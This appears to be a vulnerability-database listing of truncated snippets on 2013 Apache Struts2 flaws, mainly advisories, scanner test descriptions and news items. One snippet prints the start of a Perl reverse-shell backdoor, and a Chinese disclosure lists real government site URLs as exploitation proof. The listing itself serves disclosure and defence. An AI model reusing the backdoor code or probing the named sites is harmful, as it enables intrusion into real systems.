org.apache.struts:struts2-assembly (>=2.2.1, <=2.3.15), org.apache.struts:struts2-rest-showcase (>=2.1.2, <=2.3.15.1) +5 more potentially affected by CVE-2013-4316 via org.apache.struts:struts2-rest-plugin (>=2.1.2, <=2.3.15.1)

org.apache.struts:struts2-rest-plugin MAVEN version =2.1.2, =2.2.1, =2.1.2, =2.0-rc2.3, =1.0, =1.0.1 - org.meruvian.yama:yama-struts-core 1.0.1 Source cves: CVE-2013-4316 Source advisory: MEND:CVE-2013-4316...

be.objectify:objectify-struts2-tags (1.0), br.net.woodstock.rockframework:rockframework-struts2 (>=2.0.0, <=2.0.8) +194 more potentially affected by CVE-2013-4310 via org.apache.struts:struts2-core (>=2.0.5, <=2.3.15.2)

org.apache.struts:struts2-core MAVEN version =2.0.5, =2.0.0, =1.2.1, =1.5.3, =1.5.3, =1.0, =1.0, =1.0, =1.0, =2.0.0, =1.2.0, =1.2.2 and more Source cves: CVE-2013-4310 Source advisory: MEND:CVE-2013-4310...

be.objectify:objectify-struts2-tags (1.0), br.net.woodstock.rockframework:rockframework-struts2 (>=2.0.0, <=2.0.8) +193 more potentially affected by CVE-2013-4316 via org.apache.struts:struts2-core (>=2.0.5, <=2.3.15.1)

org.apache.struts:struts2-core MAVEN version =2.0.5, =2.0.0, =1.2.1, =1.5.3, =1.5.3, =1.0, =1.0, =1.0, =1.0, =2.0.0, =1.2.0, =1.2.2 and more Source cves: CVE-2013-4316 Source advisory: MEND:CVE-2013-4316...

Struts2 Prefixed Parameters Open Redirect Vulnerability

CVE Number: CVE-2013-2248 Title: Struts2 Prefixed Parameters Open Redirect Vulnerability Affected Software: Apache Struts v2.0.0 - 2.3.15 Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc. Issue Status: v2.3.15.1 was released which fixes this vulnerability Issue ID by Vender: S2-017...

Struts2 2.3.15 OGNL Injection

CVE Number: CVE-2013-2251 Title: Struts2 Prefixed Parameters OGNL Injection Vulnerability Affected Software: Apache Struts v2.0.0 - 2.3.15 Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc. Issue Status: v2.3.15.1 was released which fixes this vulnerability Issue ID by Vender: S2-016...

Struts2 2.3.15 Open Redirect

CVE Number: CVE-2013-2248 Title: Struts2 Prefixed Parameters Open Redirect Vulnerability Affected Software: Apache Struts v2.0.0 - 2.3.15 Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc. Issue Status: v2.3.15.1 was released which fixes this vulnerability Issue ID by Vender: S2-017...

第三方JEECMS存在远程命令执行漏洞导致批量政府站受影响（附影响站点打包）

简要描述： Jeecms是基于java技术研发的站群管理系统，稳定、安全、高效、跨平台、无限扩展是jeecms 的优点，系统支持mysql、oracle、sqlserver、db2等主流数据库。 搜索引擎的都被我爬了，一网打尽，所以不要在提交了，嘿嘿。。。 详细说明： 很可惜，存在远程命令执行漏洞，Struts2... 漏洞证明： http://www.whrsks.gov.cn/jeecms/RegisterInput.jspx = whrsksb001\admintomcat http://www.jnh.gov.cn/jncms/RegisterInput.jspx = NULL...

Security Advisory-Multiple Apache Struts2 Vulnerabilities in Huawei Products

Apache Struts2 is a second-generation and enterprise-ready Java web application framework based on the Model-View-Controller MVC architecture. This advisory describes four vulnerabilities of Apache Struts 2.0.0 - 2.3.15. Huawei products and applications using the above versions of Apache Struts a...

Apache Struts2 Redirection and Security Bypass Vulnerabilities

This host is running Apache Struts2 and is prone to redirection and security bypass vulnerabilities. OpenVAS Vulnerability Test $Id: gbapachestruts2multredirectvuln.nasl 8373 2018-01-11 10:29:41Z cfischer $ Apache Struts2 Redirection and Security Bypass Vulnerabilities Authors: Thanga Prakash S...

Apache Struts2 'URL' & 'Anchor' tags Arbitrary Java Method Execution Vulnerabilities

This host is running Apache Struts2 and is prone to arbitrary java method execution vulnerabilities. OpenVAS Vulnerability Test $Id: gbapachestruts2javamethodexecvuln.nasl 8373 2018-01-11 10:29:41Z cfischer $ Apache Struts2 'URL' & 'Anchor' tags Arbitrary Java Method Execution Vulnerabilities...

Disaster date: the Internet in China was tragically Struts2 high-risk vulnerabilities-torn-vulnerability warning-the black bar safety net

Struts is the Apache Foundation's Jakarta project team an open source project, Struts by using Java Servlet/JSP technology, the Java EE-based Web applications Model-View-Controller（MVC design pattern application framework, MVC is a classic design pattern in a classic product. Currently, the Strut...

STRUTS2 vulnerability appears, found some Backdoor script-vulnerability warning-the black bar safety net

linux on the backdoor script 1. the perl writing use strict; use Socket; use IO::Handle; if$ARGV+1 != 2 print "$ARGV $0 RemoteIP RemotePort \n"; exit 1; my $remoteip = $ARGV0; my $remoteport = $ARGV1; my $proto = getprotobyname"tcp"; my $packaddr = sockaddrin$remoteport, cannot be stored...

struts2 latest vulnerability S2-0 1 6, S2-0 1 7 patch programme-vulnerability warning-the black bar safety net

Yesterday struts2 blast a good deal of vulnerability, with know Brother words to say is:“this afternoon the whole Chinese hacking ring like mad started to use this exploit black site, everyone can feel it.” See under the clouds the two days of data: ! Related reports: The disaster: the Chinese...

be.objectify:objectify-struts2-tags (1.0), br.net.woodstock.rockframework:rockframework-struts2 (>=2.0.0, <=2.0.8) +178 more potentially affected by CVE-2013-2248 via org.apache.struts:struts2-core (>=2.0.5, <=2.3.15)

org.apache.struts:struts2-core MAVEN version =2.0.5, =2.0.0, =1.2.1, =1.0, =1.0, =1.0, =1.0, =2.0.0, =1.2.0, =1.2.2 - com.github.downgoon:jresty-rest 0.0.1 - com.github.downgoon:jresty-rest-example 0.0.1 and more Source cves: CVE-2013-2248 Source advisory: MEND:CVE-2013-2248...

金蝶网站可执行任意命令可泄露用户信息

简要描述： 金蝶网站可执行任意命令，可泄露用户信息 详细说明： id.kingdee.com/oauth/authorize.action存在最新的 struts2 漏洞 漏洞证明：...

Struts2 then blast remote code execution vulnerability S2-0 1 6-a vulnerability warning-the black bar safety net

Struts and blast remote code execution vulnerability! In this vulnerability, the attacker can manipulate the parameters of the remote execution of malicious code. The Struts 2.3.15.1 the previous version, the parameters of the action the value of the redirect and redirectAction is not properly...

Struts2 latest remote code execution vulnerability S2-0 1 6 official patch analysis-vulnerability warning-the black bar safety net

Contrast a bit stucts svn, in fact, only modified one file ! For the action of the prefix, an increase cleanactionname function, filtering the ognl implementation, For the redirect and redirectaction prefix, the direct removal. !...

Apache Struts2 多个前缀参数远程命令执行漏洞(CVE-2013-2251)

CVE-2013-2251 Struts2 是第二代基于Model-View-Controller MVC模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物 Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式，并将用户通过URL提交的内容拼接入Ognl表达式中，从而造成攻击者可以通过构造恶意URL来执行任意Java代码，进而可执行任意命令 redirect:和redirectAction:此两项前缀为Struts默认开启功能，目前Struts...

br.net.woodstock.rockframework:rockframework-struts2 (>=2.0.0, <=2.0.8), br.net.woodstock.rockframework:rockframework-web (>=1.2.4, <=3.0.1) +164 more potentially affected by CVE-2013-2135 via org.apache.struts.xwork:xwork-core (>=2.2.1, <=2.3.14.2)

org.apache.struts.xwork:xwork-core MAVEN version =2.2.1, =2.0.0, =1.2.4, =1.0, =1.0, =1.0, =1.0, =2.0.0, =1.2.0, =1.0.10, =1.2.0, =1.0.3, =1.1.1 and more Source cves: CVE-2013-2135 Source advisory: MEND:CVE-2013-2135...

be.objectify:objectify-struts2-tags (1.0), br.net.woodstock.rockframework:rockframework-struts2 (>=2.0.0, <=2.0.8) +177 more potentially affected by CVE-2013-2135 via org.apache.struts:struts2-core (>=2.0.5, <=2.3.14.2)

org.apache.struts:struts2-core MAVEN version =2.0.5, =2.0.0, =1.2.1, =1.0, =1.0, =1.0, =1.0, =2.0.0, =1.2.0, =1.2.2 - com.github.downgoon:jresty-rest 0.0.1 - com.github.downgoon:jresty-rest-example 0.0.1 and more Source cves: CVE-2013-2135 Source advisory: MEND:CVE-2013-2135...